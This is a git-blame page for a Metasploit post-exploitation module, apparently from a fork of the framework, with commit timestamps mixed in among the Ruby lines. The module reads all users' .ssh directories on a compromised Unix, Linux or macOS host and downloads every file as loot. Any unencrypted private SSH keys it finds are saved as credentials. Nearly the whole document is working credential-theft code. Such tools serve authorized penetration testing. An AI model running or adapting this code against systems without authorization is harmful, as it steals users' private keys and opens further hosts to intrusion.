Files
metasploit-gs/modules/post/multi/gather/ssh_creds.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

115 lines
3.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2012-06-19 14:24:32 -06:00
require 'sshkey'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-09-05 13:41:25 -05:00
include Msf::Post::File
include Msf::Post::Unix
2021-09-10 12:53:39 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multi Gather OpenSSH PKI Credentials Collection',
'Description' => %q{
This module will collect the contents of all users' .ssh directories on the targeted
2021-09-10 12:53:39 +01:00
machine. Additionally, known_hosts and authorized_keys and any other files are also
downloaded. This module is largely based on firefox_creds.rb.
},
'License' => MSF_LICENSE,
'Author' => ['Jim Halfpenny'],
2023-02-08 13:47:34 +00:00
'Platform' => %w[bsd linux osx unix],
2021-10-06 13:43:31 +01:00
'SessionTypes' => ['meterpreter', 'shell' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_ls
stdapi_fs_separator
]
}
}
2021-09-10 12:53:39 +01:00
)
)
end
def run
2023-02-08 13:47:34 +00:00
print_status('Finding .ssh directories')
paths = enum_user_directories.map { |d| d + '/.ssh' }
2012-06-26 15:32:16 -06:00
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }
2011-07-27 15:12:28 +00:00
2023-02-08 13:47:34 +00:00
if paths.nil? || paths.empty?
print_error('No users found with a .ssh directory')
return
end
print_status("Looting #{paths.count} .ssh directories")
download_loot(paths)
end
def download_loot(paths)
paths.each do |path|
path.chomp!
2019-12-04 19:24:43 -06:00
print_status("Looting #{path} directory")
2019-12-04 19:24:43 -06:00
unless executable?(path)
2019-12-04 19:24:43 -06:00
print_warning("Cannot access directory: #{path} . Missing execute permission. Skipping.")
next
end
2023-02-08 13:47:34 +00:00
if session.type == 'meterpreter'
2012-06-19 14:24:32 -06:00
sep = session.fs.file.separator
files = session.fs.dir.entries(path)
else
2012-06-19 14:24:32 -06:00
# Guess, but it's probably right
2023-02-08 13:47:34 +00:00
sep = '/'
2012-06-19 14:24:32 -06:00
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
end
path_array = path.split(sep)
path_array.pop
user = path_array.pop
2012-06-19 14:24:32 -06:00
files.each do |file|
2023-02-08 13:47:34 +00:00
next if ['.', '..'].include?(file)
2019-12-04 19:24:43 -06:00
file_path = "#{path}#{sep}#{file}"
unless readable?(file_path)
print_warning("Cannot read file: #{file_path} . Missing read permission. Skipping.")
next
end
2012-06-19 14:24:32 -06:00
data = read_file("#{path}#{sep}#{file}")
file = file.split(sep).last
2023-02-08 13:47:34 +00:00
loot_path = store_loot("ssh.#{file}", 'text/plain', session, data, "ssh_#{file}", "OpenSSH #{file} File")
2015-04-17 16:33:51 -05:00
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
2014-06-09 11:49:49 -05:00
# store only ssh private keys
2023-02-08 13:47:34 +00:00
next if SSHKey.valid_ssh_public_key? data
begin
key = SSHKey.new(data, passphrase: '')
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :ssh_key,
private_data: key.key_object.to_s,
username: user,
workspace_id: myworkspace_id
}
create_credential(credential_data)
rescue OpenSSL::OpenSSLError => e
print_error("Could not load SSH Key: #{e.message}")
2012-06-19 14:24:32 -06:00
end
end
end
end
end